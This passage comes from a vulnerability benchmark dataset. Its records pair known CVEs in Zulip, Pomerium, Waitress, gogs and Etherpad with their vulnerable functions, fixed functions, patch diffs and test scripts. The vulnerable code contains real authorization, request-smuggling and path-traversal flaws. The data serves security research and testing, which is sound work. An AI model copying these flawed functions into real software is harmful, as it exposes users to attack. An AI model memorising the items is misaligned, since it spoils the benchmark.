is_default_stream is not None:\n        if not user_profile.can_manage_default_streams():\n            raise CannotManageDefaultChannelError\n        if is_default_stream:\n            do_add_default_stream(stream)\n        else:\n            do_remove_default_stream(stream)\n\n    if message_retention_days is not None:\n        if not user_profile.is_realm_owner:\n            raise OrganizationOwnerRequiredError\n        user_profile.realm.ensure_not_on_limited_plan()\n        new_message_retention_days_value = parse_message_retention_days(\n            message_retention_days, Stream.MESSAGE_RETENTION_SPECIAL_VALUES_MAP\n        )\n        do_change_stream_message_retention_days(\n            stream, user_profile, new_message_retention_days_value\n        )\n\n    if description is not None:\n        if \"\\n\" in description:\n            # We don't allow newline characters in stream descriptions.\n            description = description.replace(\"\\n\", \" \")\n        do_change_stream_description(stream, description, acting_user=user_profile)\n    if new_name is not None:\n        new_name = new_name.strip()\n        if stream.name == new_name:\n            raise JsonableError(_(\"Channel already has that name.\"))\n        if stream.name.lower() != new_name.lower():\n            # Check that the stream name is available (unless we are\n            # are only changing the casing of the stream name).\n            check_stream_name_available(user_profile.realm, new_name)\n        do_rename_stream(stream, new_name, user_profile)\n\n    nobody_group = get_system_user_group_by_name(SystemGroups.NOBODY, user_profile.realm_id)\n    request_settings_dict = locals()\n    for setting_name, permission_configuration in Stream.stream_permission_group_settings.items():\n        assert setting_name in request_settings_dict\n        if request_settings_dict[setting_name] is None:\n            continue\n\n        setting_value = request_settings_dict[setting_name]\n        new_setting_value = parse_group_setting_value(setting_value.new, nobody_group)\n\n        expected_current_setting_value = None\n        if setting_value.old is not None:\n            expected_current_setting_value = parse_group_setting_value(\n                setting_value.old, nobody_group\n            )\n\n        current_value = getattr(stream, setting_name)\n        current_setting_api_value = get_group_setting_value_for_api(current_value)\n\n        if validate_group_setting_value_change(\n            current_setting_api_value, new_setting_value, expected_current_setting_value\n        ):\n            if (\n                setting_name in Stream.stream_permission_group_settings_requiring_content_access\n                and not user_has_content_access(\n                    user_profile,\n                    stream,\n                    user_group_membership_details,\n                    is_subscribed=sub is not None,\n                )\n            ):\n                raise JsonableError(_(\"Channel content access is required.\"))\n\n            with transaction.atomic(durable=True):\n                user_group_api_value_for_setting = access_user_group_api_value_for_setting(\n                    new_setting_value,\n                    user_profile,\n                    setting_name=setting_name,\n                    permission_configuration=permission_configuration,\n                )\n                do_change_stream_group_based_setting(\n                    stream,\n                    setting_name,\n                    new_setting_value=user_group_api_value_for_setting,\n                    old_setting_api_value=current_setting_api_value,\n                    acting_user=user_profile,\n                )\n\n    return json_success(request)"}], "fix_func": [{"id": "fix_py_75_1", "commit": "d2ff4bd", "file_path": "zerver/views/streams.py", "start_line": "259", "end_line": "462", "snippet": "def update_stream_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    *,\n    stream_id: PathOnly[int],\n    description: Annotated[str, StringConstraints(max_length=Stream.MAX_DESCRIPTION_LENGTH)]\n    | None = None,\n    is_private: Json[bool] | None = None,\n    is_default_stream: Json[bool] | None = None,\n    history_public_to_subscribers: Json[bool] | None = None,\n    is_web_public: Json[bool] | None = None,\n    new_name: str | None = None,\n    message_retention_days: Json[str] | Json[int] | None = None,\n    can_add_subscribers_group: Json[GroupSettingChangeRequest] | None = None,\n    can_administer_channel_group: Json[GroupSettingChangeRequest] | None = None,\n    can_send_message_group: Json[GroupSettingChangeRequest] | None = None,\n    can_remove_subscribers_group: Json[GroupSettingChangeRequest] | None = None,\n    can_subscribe_group: Json[GroupSettingChangeRequest] | None = None,\n) -> HttpResponse:\n    # Most settings updates only require metadata access, not content\n    # access. We will check for content access further when and where\n    # required.\n    (stream, sub) = access_stream_for_delete_or_update_requiring_metadata_access(\n        user_profile, stream_id\n    )\n    user_group_membership_details = UserGroupMembershipDetails(user_recursive_group_ids=None)\n\n    # Validate that the proposed state for permissions settings is permitted.\n    if is_private is not None:\n        proposed_is_private = is_private\n    else:\n        proposed_is_private = stream.invite_only\n\n    if is_web_public is not None:\n        proposed_is_web_public = is_web_public\n    else:\n        proposed_is_web_public = stream.is_web_public\n\n    if is_default_stream is not None:\n        proposed_is_default_stream = is_default_stream\n    else:\n        default_stream_ids = get_default_stream_ids_for_realm(stream.realm_id)\n        proposed_is_default_stream = stream.id in default_stream_ids\n\n    if stream.realm.is_zephyr_mirror_realm:\n        # In the Zephyr mirroring model, history is unconditionally\n        # not public to subscribers, even for public streams.\n        proposed_history_public_to_subscribers = False\n    elif history_public_to_subscribers is not None:\n        proposed_history_public_to_subscribers = history_public_to_subscribers\n    elif is_private is not None:\n        # By default, private streams have protected history while for\n        # public streams history is public by default.\n        proposed_history_public_to_subscribers = not is_private\n    else:\n        proposed_history_public_to_subscribers = stream.history_public_to_subscribers\n\n    # Web-public streams must have subscriber-public history.\n    if proposed_is_web_public and not proposed_history_public_to_subscribers:\n        raise JsonableError(_(\"Invalid parameters\"))\n\n    # Web-public streams must not be private.\n    if proposed_is_web_public and proposed_is_private:\n        raise JsonableError(_(\"Invalid parameters\"))\n\n    # Public streams must be public to subscribers.\n    if not proposed_is_private and not proposed_history_public_to_subscribers:\n        if stream.realm.is_zephyr_mirror_realm:\n            # All Zephyr realm streams violate this rule.\n            pass\n        else:\n            raise JsonableError(_(\"Invalid parameters\"))\n\n    # Ensure that a stream cannot be both a default stream for new users and private\n    if proposed_is_private and proposed_is_default_stream:\n        raise JsonableError(_(\"A default channel cannot be private.\"))\n\n    # Ensure that a moderation request channel isn't set to public.\n    if not proposed_is_private and user_profile.realm.moderation_request_channel == stream:\n        raise JsonableError(_(\"Moderation request channel must be private.\"))\n\n    if is_private is not None and not user_has_content_access(\n        user_profile,\n        stream,\n        user_group_membership_details,\n        is_subscribed=sub is not None,\n    ):\n        raise JsonableError(_(\"Channel content access is required.\"))\n        # In addition to channel administration permissions, changing\n        # public/private status for channels requires content access\n        # to the channel.\n\n    if is_private is not None:\n        if is_private and not user_profile.can_create_private_streams():\n            raise JsonableError(_(\"Insufficient permission\"))\n\n        if not is_private and not user_profile.can_create_public_streams():\n            raise JsonableError(_(\"Insufficient permission\"))\n\n    # Enforce restrictions on creating web-public streams. Since these\n    # checks are only required when changing a stream to be\n    # web-public, we don't use an \"is not None\" check.\n    if is_web_public:\n        if not user_profile.realm.web_public_streams_enabled():\n            raise JsonableError(_(\"Web-public channels are not enabled.\"))\n        if not user_profile.can_create_web_public_streams():\n            raise JsonableError(_(\"Insufficient permission\"))\n\n    if (\n        is_private is not None\n        or is_web_public is not None\n        or history_public_to_subscribers is not None\n    ):\n        do_change_stream_permission(\n            stream,\n            invite_only=proposed_is_private,\n            history_public_to_subscribers=proposed_history_public_to_subscribers,\n            is_web_public=proposed_is_web_public,\n            acting_user=user_profile,\n        )\n\n    if is_default_stream is not None:\n        if not user_profile.can_manage_default_streams():\n            raise CannotManageDefaultChannelError\n        if is_default_stream:\n            do_add_default_stream(stream)\n        else:\n            do_remove_default_stream(stream)\n\n    if message_retention_days is not None:\n        if not user_profile.is_realm_owner:\n            raise OrganizationOwnerRequiredError\n        user_profile.realm.ensure_not_on_limited_plan()\n        new_message_retention_days_value = parse_message_retention_days(\n            message_retention_days, Stream.MESSAGE_RETENTION_SPECIAL_VALUES_MAP\n        )\n        do_change_stream_message_retention_days(\n            stream, user_profile, new_message_retention_days_value\n        )\n\n    if description is not None:\n        if \"\\n\" in description:\n            # We don't allow newline characters in stream descriptions.\n            description = description.replace(\"\\n\", \" \")\n        do_change_stream_description(stream, description, acting_user=user_profile)\n    if new_name is not None:\n        new_name = new_name.strip()\n        if stream.name == new_name:\n            raise JsonableError(_(\"Channel already has that name.\"))\n        if stream.name.lower() != new_name.lower():\n            # Check that the stream name is available (unless we are\n            # are only changing the casing of the stream name).\n            check_stream_name_available(user_profile.realm, new_name)\n        do_rename_stream(stream, new_name, user_profile)\n\n    nobody_group = get_system_user_group_by_name(SystemGroups.NOBODY, user_profile.realm_id)\n    request_settings_dict = locals()\n    for setting_name, permission_configuration in Stream.stream_permission_group_settings.items():\n        assert setting_name in request_settings_dict\n        if request_settings_dict[setting_name] is None:\n            continue\n\n        setting_value = request_settings_dict[setting_name]\n        new_setting_value = parse_group_setting_value(setting_value.new, nobody_group)\n\n        expected_current_setting_value = None\n        if setting_value.old is not None:\n            expected_current_setting_value = parse_group_setting_value(\n                setting_value.old, nobody_group\n            )\n\n        current_value = getattr(stream, setting_name)\n        current_setting_api_value = get_group_setting_value_for_api(current_value)\n\n        if validate_group_setting_value_change(\n            current_setting_api_value, new_setting_value, expected_current_setting_value\n        ):\n            if (\n                setting_name in Stream.stream_permission_group_settings_requiring_content_access\n                and not user_has_content_access(\n                    user_profile,\n                    stream,\n                    user_group_membership_details,\n                    is_subscribed=sub is not None,\n                )\n            ):\n                raise JsonableError(_(\"Channel content access is required.\"))\n\n            with transaction.atomic(durable=True):\n                user_group_api_value_for_setting = access_user_group_api_value_for_setting(\n                    new_setting_value,\n                    user_profile,\n                    setting_name=setting_name,\n                    permission_configuration=permission_configuration,\n                )\n                do_change_stream_group_based_setting(\n                    stream,\n                    setting_name,\n                    new_setting_value=user_group_api_value_for_setting,\n                    old_setting_api_value=current_setting_api_value,\n                    acting_user=user_profile,\n                )\n\n    return json_success(request)"}], "vul_patch": "--- a/zerver/views/streams.py\n+++ b/zerver/views/streams.py\n@@ -90,6 +90,13 @@\n         # public/private status for channels requires content access\n         # to the channel.\n \n+    if is_private is not None:\n+        if is_private and not user_profile.can_create_private_streams():\n+            raise JsonableError(_(\"Insufficient permission\"))\n+\n+        if not is_private and not user_profile.can_create_public_streams():\n+            raise JsonableError(_(\"Insufficient permission\"))\n+\n     # Enforce restrictions on creating web-public streams. Since these\n     # checks are only required when changing a stream to be\n     # web-public, we don't use an \"is not None\" check.\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47616", "cve_description": "Pomerium is an identity and context-aware access proxy. The Pomerium databroker service is responsible for managing all persistent Pomerium application state. Requests to the databroker service API are authorized by the presence of a JSON Web Token (JWT) signed by a key known by all Pomerium services in the same deployment. However, incomplete validation of this JWT meant that some service account access tokens would incorrectly be treated as valid for the purpose of databroker API authorization. Improper access to the databroker API could allow exfiltration of user info, spoofing of user sessions, or tampering with Pomerium routes, policies, and other settings. A Pomerium deployment is susceptible to this issue if all of the following conditions are met, you have issued a service account access token using Pomerium Zero or Pomerium Enterprise, the access token has an explicit expiration date in the future, and the core Pomerium databroker gRPC API is not otherwise secured by network access controls. This vulnerability is fixed in 0.27.1.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/pomerium/pomerium", "patch_url": ["https://github.com/pomerium/pomerium/commit/e018cf0fc0979d2abe25ff705db019feb7523444"], "programing_language": "Go", "vul_func": [{"id": "vul_go_72_1", "commit": "61847b1", "file_path": "pkg/grpcutil/options.go", "start_line": 88, "end_line": 113, "snippet": "func RequireSignedJWT(ctx context.Context, key []byte) error {\n\tif len(key) > 0 {\n\t\trawjwt, ok := JWTFromGRPCRequest(ctx)\n\t\tif !ok {\n\t\t\treturn status.Error(codes.Unauthenticated, \"unauthenticated\")\n\t\t}\n\n\t\ttok, err := jwt.ParseSigned(rawjwt)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.Unauthenticated, \"invalid JWT: %v\", err)\n\t\t}\n\n\t\tvar claims struct {\n\t\t\tExpiry *jwt.NumericDate `json:\"exp,omitempty\"`\n\t\t}\n\t\terr = tok.Claims(key, &claims)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.Unauthenticated, \"invalid JWT: %v\", err)\n\t\t}\n\n\t\tif claims.Expiry == nil || time.Now().After(claims.Expiry.Time()) {\n\t\t\treturn status.Errorf(codes.Unauthenticated, \"expired JWT: %v\", err)\n\t\t}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_72_1", "commit": "e018cf0fc0979d2abe25ff705db019feb7523444", "file_path": "pkg/grpcutil/options.go", "start_line": 90, "end_line": 103, "snippet": "func RequireSignedJWT(ctx context.Context, key []byte) error {\n\tif len(key) > 0 {\n\t\trawjwt, ok := JWTFromGRPCRequest(ctx)\n\t\tif !ok {\n\t\t\treturn status.Error(codes.Unauthenticated, \"unauthenticated\")\n\t\t}\n\n\t\tif err := validateJWT(rawjwt, key); err != nil {\n\t\t\tlog.Ctx(ctx).Debug().Err(err).Msg(\"rejected gRPC request due to invalid JWT\")\n\t\t\treturn status.Error(codes.Unauthenticated, \"invalid JWT\")\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_72_2", "commit": "e018cf0fc0979d2abe25ff705db019feb7523444", "file_path": "pkg/grpcutil/options.go", "start_line": 105, "end_line": 123, "snippet": "func validateJWT(rawjwt string, key []byte) error {\n\ttok, err := jwt.ParseSigned(rawjwt)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar claims map[string]*jwt.NumericDate\n\terr = tok.Claims(key, &claims)\n\tif err != nil {\n\t\treturn err\n\t} else if len(claims) != 1 || claims[\"exp\"] == nil {\n\t\treturn fmt.Errorf(\"expected exactly one claim (exp)\")\n\t}\n\n\tif t := claims[\"exp\"].Time(); time.Now().After(t) {\n\t\treturn fmt.Errorf(\"JWT expired at %s\", t.Format(time.DateTime))\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/grpcutil/options.go\n+++ b/pkg/grpcutil/options.go\n@@ -5,21 +5,9 @@\n \t\t\treturn status.Error(codes.Unauthenticated, \"unauthenticated\")\n \t\t}\n \n-\t\ttok, err := jwt.ParseSigned(rawjwt)\n-\t\tif err != nil {\n-\t\t\treturn status.Errorf(codes.Unauthenticated, \"invalid JWT: %v\", err)\n-\t\t}\n-\n-\t\tvar claims struct {\n-\t\t\tExpiry *jwt.NumericDate `json:\"exp,omitempty\"`\n-\t\t}\n-\t\terr = tok.Claims(key, &claims)\n-\t\tif err != nil {\n-\t\t\treturn status.Errorf(codes.Unauthenticated, \"invalid JWT: %v\", err)\n-\t\t}\n-\n-\t\tif claims.Expiry == nil || time.Now().After(claims.Expiry.Time()) {\n-\t\t\treturn status.Errorf(codes.Unauthenticated, \"expired JWT: %v\", err)\n+\t\tif err := validateJWT(rawjwt, key); err != nil {\n+\t\t\tlog.Ctx(ctx).Debug().Err(err).Msg(\"rejected gRPC request due to invalid JWT\")\n+\t\t\treturn status.Error(codes.Unauthenticated, \"invalid JWT\")\n \t\t}\n \t}\n \treturn nil\n\n--- /dev/null\n+++ b/pkg/grpcutil/options.go\n@@ -0,0 +1,19 @@\n+func validateJWT(rawjwt string, key []byte) error {\n+\ttok, err := jwt.ParseSigned(rawjwt)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n+\n+\tvar claims map[string]*jwt.NumericDate\n+\terr = tok.Claims(key, &claims)\n+\tif err != nil {\n+\t\treturn err\n+\t} else if len(claims) != 1 || claims[\"exp\"] == nil {\n+\t\treturn fmt.Errorf(\"expected exactly one claim (exp)\")\n+\t}\n+\n+\tif t := claims[\"exp\"].Time(); time.Now().After(t) {\n+\t\treturn fmt.Errorf(\"JWT expired at %s\", t.Format(time.DateTime))\n+\t}\n+\treturn nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-47616:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/pomerium\nrm -rf ./pkg/grpcutil/options_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestRequireSignedJWT_Vulnerability$ github.com/pomerium/pomerium/pkg/grpcutil\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-47616:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/pomerium\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd pkg/grpcutil && go test -timeout 30s -v\n"}
{"cve_id": "CVE-2019-16792", "cve_description": "Waitress through version 1.3.1 allows request smuggling by sending the Content-Length header twice. Waitress would header fold a double Content-Length header and due to being unable to cast the now comma separated value to an integer would set the Content-Length to 0 internally. If two Content-Length headers are sent in a single request, Waitress would treat the request as having no body, thereby treating the body of the request as a new request in HTTP pipelining. This issue is fixed in Waitress 1.4.0.", "cwe_info": {"CWE-444": {"name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')", "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."}}, "repo": "https://github.com/Pylons/waitress", "patch_url": ["https://github.com/Pylons/waitress/commit/575994cd42e83fd772a5f7ec98b2c56751bd3f65"], "programing_language": "Python", "vul_func": [{"id": "vul_py_73_1", "commit": "804e313", "file_path": "waitress/parser.py", "start_line": "176", "end_line": "261", "snippet": "    def parse_header(self, header_plus):\n        \"\"\"\n        Parses the header_plus block of text (the headers plus the\n        first line of the request).\n        \"\"\"\n        index = header_plus.find(b\"\\r\\n\")\n        if index >= 0:\n            first_line = header_plus[:index].rstrip()\n            header = header_plus[index + 2 :]\n        else:\n            raise ParsingError(\"HTTP message header invalid\")\n\n        if b\"\\r\" in first_line or b\"\\n\" in first_line:\n            raise ParsingError(\"Bare CR or LF found in HTTP message\")\n\n        self.first_line = first_line  # for testing\n\n        lines = get_header_lines(header)\n\n        headers = self.headers\n        for line in lines:\n            index = line.find(b\":\")\n            if index > 0:\n                key = line[:index]\n\n                if key != key.strip():\n                    raise ParsingError(\"Invalid whitespace after field-name\")\n\n                if b\"_\" in key:\n                    continue\n                value = line[index + 1 :].strip()\n                key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n                # If a header already exists, we append subsequent values\n                # seperated by a comma. Applications already need to handle\n                # the comma seperated values, as HTTP front ends might do\n                # the concatenation for you (behavior specified in RFC2616).\n                try:\n                    headers[key1] += tostr(b\", \" + value)\n                except KeyError:\n                    headers[key1] = tostr(value)\n            # else there's garbage in the headers?\n\n        # command, uri, version will be bytes\n        command, uri, version = crack_first_line(first_line)\n        version = tostr(version)\n        command = tostr(command)\n        self.command = command\n        self.version = version\n        (\n            self.proxy_scheme,\n            self.proxy_netloc,\n            self.path,\n            self.query,\n            self.fragment,\n        ) = split_uri(uri)\n        self.url_scheme = self.adj.url_scheme\n        connection = headers.get(\"CONNECTION\", \"\")\n\n        if version == \"1.0\":\n            if connection.lower() != \"keep-alive\":\n                self.connection_close = True\n\n        if version == \"1.1\":\n            # since the server buffers data from chunked transfers and clients\n            # never need to deal with chunked requests, downstream clients\n            # should not see the HTTP_TRANSFER_ENCODING header; we pop it\n            # here\n            te = headers.pop(\"TRANSFER_ENCODING\", \"\")\n            if te.lower() == \"chunked\":\n                self.chunked = True\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = ChunkedReceiver(buf)\n            expect = headers.get(\"EXPECT\", \"\").lower()\n            self.expect_continue = expect == \"100-continue\"\n            if connection.lower() == \"close\":\n                self.connection_close = True\n\n        if not self.chunked:\n            try:\n                cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n            except ValueError:\n                cl = 0\n            self.content_length = cl\n            if cl > 0:\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = FixedStreamReceiver(cl, buf)"}], "fix_func": [{"id": "fix_py_73_1", "commit": "575994c", "file_path": "waitress/parser.py", "start_line": "176", "end_line": "262", "snippet": "    def parse_header(self, header_plus):\n        \"\"\"\n        Parses the header_plus block of text (the headers plus the\n        first line of the request).\n        \"\"\"\n        index = header_plus.find(b\"\\r\\n\")\n        if index >= 0:\n            first_line = header_plus[:index].rstrip()\n            header = header_plus[index + 2 :]\n        else:\n            raise ParsingError(\"HTTP message header invalid\")\n\n        if b\"\\r\" in first_line or b\"\\n\" in first_line:\n            raise ParsingError(\"Bare CR or LF found in HTTP message\")\n\n        self.first_line = first_line  # for testing\n\n        lines = get_header_lines(header)\n\n        headers = self.headers\n        for line in lines:\n            index = line.find(b\":\")\n            if index > 0:\n                key = line[:index]\n\n                if key != key.strip():\n                    raise ParsingError(\"Invalid whitespace after field-name\")\n\n                if b\"_\" in key:\n                    continue\n                value = line[index + 1 :].strip()\n                key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n                # If a header already exists, we append subsequent values\n                # seperated by a comma. Applications already need to handle\n                # the comma seperated values, as HTTP front ends might do\n                # the concatenation for you (behavior specified in RFC2616).\n                try:\n                    headers[key1] += tostr(b\", \" + value)\n                except KeyError:\n                    headers[key1] = tostr(value)\n            # else there's garbage in the headers?\n\n        # command, uri, version will be bytes\n        command, uri, version = crack_first_line(first_line)\n        version = tostr(version)\n        command = tostr(command)\n        self.command = command\n        self.version = version\n        (\n            self.proxy_scheme,\n            self.proxy_netloc,\n            self.path,\n            self.query,\n            self.fragment,\n        ) = split_uri(uri)\n        self.url_scheme = self.adj.url_scheme\n        connection = headers.get(\"CONNECTION\", \"\")\n\n        if version == \"1.0\":\n            if connection.lower() != \"keep-alive\":\n                self.connection_close = True\n\n        if version == \"1.1\":\n            # since the server buffers data from chunked transfers and clients\n            # never need to deal with chunked requests, downstream clients\n            # should not see the HTTP_TRANSFER_ENCODING header; we pop it\n            # here\n            te = headers.pop(\"TRANSFER_ENCODING\", \"\")\n            if te.lower() == \"chunked\":\n                self.chunked = True\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = ChunkedReceiver(buf)\n            expect = headers.get(\"EXPECT\", \"\").lower()\n            self.expect_continue = expect == \"100-continue\"\n            if connection.lower() == \"close\":\n                self.connection_close = True\n\n        if not self.chunked:\n            try:\n                cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n            except ValueError:\n                raise ParsingError(\"Content-Length is invalid\")\n\n            self.content_length = cl\n            if cl > 0:\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = FixedStreamReceiver(cl, buf)"}], "vul_patch": "--- a/waitress/parser.py\n+++ b/waitress/parser.py\n@@ -79,7 +79,8 @@\n             try:\n                 cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n             except ValueError:\n-                cl = 0\n+                raise ParsingError(\"Content-Length is invalid\")\n+\n             self.content_length = cl\n             if cl > 0:\n                 buf = OverflowableBuffer(self.adj.inbuf_overflow)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1992", "cve_description": "Path Traversal in GitHub repository gogs/gogs prior to 0.12.9.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/2ca014250fbf0bba94c914d9e43b1f6d8eca3bb0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_4_1", "commit": "325904c", "file_path": "internal/pathutil/pathutil.go", "start_line": 13, "end_line": 15, "snippet": "func Clean(p string) string {\n\treturn strings.Trim(path.Clean(\"/\"+p), \"/\")\n}"}], "fix_func": [{"id": "fix_go_4_1", "commit": "2ca0142", "file_path": "internal/pathutil/pathutil.go", "start_line": 14, "end_line": 17, "snippet": "func Clean(p string) string {\n\tp = strings.ReplaceAll(p, `\\`, \"/\")\n\treturn strings.Trim(path.Clean(\"/\"+p), \"/\")\n}"}], "vul_patch": "--- a/internal/pathutil/pathutil.go\n+++ b/internal/pathutil/pathutil.go\n@@ -1,3 +1,4 @@\n func Clean(p string) string {\n+\tp = strings.ReplaceAll(p, `\\`, \"/\")\n \treturn strings.Trim(path.Clean(\"/\"+p), \"/\")\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-1992:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gogs\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestClean$ gogs.io/gogs/internal/pathutil\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-1992:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gogs\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestClean)$' gogs.io/gogs/internal/pathutil\n"}
{"cve_id": "CVE-2015-3309", "cve_description": "Directory traversal vulnerability in node/utils/Minify.js in Etherpad 1.1.2 through 1.5.4 allows remote attackers to read arbitrary files with permissions of the user running the service via a .. (dot dot) in the path parameter of HTTP API requests. NOTE: This vulnerability is due to an incomplete fix to CVE-2015-3297.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ether/etherpad-lite", "patch_url": ["https://github.com/ether/etherpad-lite/commit/0fa7650df8f940ed6b577d79836a78eb09726c4b"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_291_1", "commit": "0dfecb3af77b0b546714c714a52274f55e4437cf", "file_path": "src/node/utils/Minify.js", "start_line": 140, "end_line": 241, "snippet": "function minify(req, res, next)\n{\n  var filename = req.params['filename'];\n\n  // No relative paths, especially if they may go up the file hierarchy.\n  filename = path.normalize(path.join(ROOT_DIR, filename));\n  if (filename.indexOf(ROOT_DIR) == 0) {\n    filename = filename.slice(ROOT_DIR.length);\n  } else {\n    res.writeHead(404, {});\n    res.end();\n    return; \n  }\n\n  /* Handle static files for plugins/libraries:\n     paths like \"plugins/ep_myplugin/static/js/test.js\"\n     are rewritten into ROOT_PATH_OF_MYPLUGIN/static/js/test.js,\n     commonly ETHERPAD_ROOT/node_modules/ep_myplugin/static/js/test.js\n  */\n  var match = filename.match(/^plugins\\/([^\\/]+)(\\/(?:(static\\/.*)|.*))?$/);\n  if (match) {\n    var library = match[1];\n    var libraryPath = match[2] || '';\n\n    if (plugins.plugins[library] && match[3]) {\n      var plugin = plugins.plugins[library];\n      var pluginPath = plugin.package.realPath;\n      filename = path.relative(ROOT_DIR, pluginPath + libraryPath);\n      filename = filename.replace(/\\\\/g, '/'); // Windows (safe generally?)\n    } else if (LIBRARY_WHITELIST.indexOf(library) != -1) {\n      // Go straight into node_modules\n      // Avoid `require.resolve()`, since 'mustache' and 'mustache/index.js'\n      // would end up resolving to logically distinct resources.\n      filename = '../node_modules/' + library + libraryPath;\n    }\n  }\n\n  // What content type should this be?\n  // TODO: This should use a MIME module.\n  var contentType;\n  if (filename.match(/\\.js$/)) {\n    contentType = \"text/javascript\";\n  } else if (filename.match(/\\.css$/)) {\n    contentType = \"text/css\";\n  } else if (filename.match(/\\.html$/)) {\n    contentType = \"text/html\";\n  } else if (filename.match(/\\.txt$/)) {\n    contentType = \"text/plain\";\n  } else if (filename.match(/\\.png$/)) {\n    contentType = \"image/png\";\n  } else if (filename.match(/\\.gif$/)) {\n    contentType = \"image/gif\";\n  } else if (filename.match(/\\.ico$/)) {\n    contentType = \"image/x-icon\";\n  } else {\n    contentType = \"application/octet-stream\";\n  }\n\n  statFile(filename, function (error, date, exists) {\n    if (date) {\n      date = new Date(date);\n      res.setHeader('last-modified', date.toUTCString());\n      res.setHeader('date', (new Date()).toUTCString());\n      if (settings.maxAge !== undefined) {\n        var expiresDate = new Date((new Date()).getTime()+settings.maxAge*1000);\n        res.setHeader('expires', expiresDate.toUTCString());\n        res.setHeader('cache-control', 'max-age=' + settings.maxAge);\n      }\n    }\n\n    if (error) {\n      res.writeHead(500, {});\n      res.end();\n    } else if (!exists) {\n      res.writeHead(404, {});\n      res.end();\n    } else if (new Date(req.headers['if-modified-since']) >= date) {\n      res.writeHead(304, {});\n      res.end();\n    } else {\n      if (req.method == 'HEAD') {\n        res.header(\"Content-Type\", contentType);\n        res.writeHead(200, {});\n        res.end();\n      } else if (req.method == 'GET') {\n        getFileCompressed(filename, contentType, function (error, content) {\n          if(ERR(error, function(){\n            res.writeHead(500, {});\n            res.end();\n          })) return;\n          res.header(\"Content-Type\", contentType);\n          res.writeHead(200, {});\n          res.write(content);\n          res.end();\n        });\n      } else {\n        res.writeHead(405, {'allow': 'HEAD, GET'});\n        res.end();\n      }\n    }\n  });\n}"}], "fix_func": [{"id": "fix_js_291_1", "commit": "0fa7650df8f940ed6b577d79836a78eb09726c4b", "file_path": "src/node/utils/Minify.js", "start_line": 140, "end_line": 240, "snippet": "function minify(req, res, next)\n{\n  var filename = req.params['filename'];\n\n  // No relative paths, especially if they may go up the file hierarchy.\n  filename = path.normalize(path.join(ROOT_DIR, filename));\n  if (filename.indexOf(ROOT_DIR) == 0) {\n    filename = filename.slice(ROOT_DIR.length);\n  } else {\n    res.writeHead(404, {});\n    res.end();\n    return; \n  }\n\n  /* Handle static files for plugins/libraries:\n     paths like \"plugins/ep_myplugin/static/js/test.js\"\n     are rewritten into ROOT_PATH_OF_MYPLUGIN/static/js/test.js,\n     commonly ETHERPAD_ROOT/node_modules/ep_myplugin/static/js/test.js\n  */\n  var match = filename.match(/^plugins\\/([^\\/]+)(\\/(?:(static\\/.*)|.*))?$/);\n  if (match) {\n    var library = match[1];\n    var libraryPath = match[2] || '';\n\n    if (plugins.plugins[library] && match[3]) {\n      var plugin = plugins.plugins[library];\n      var pluginPath = plugin.package.realPath;\n      filename = path.relative(ROOT_DIR, pluginPath + libraryPath);\n    } else if 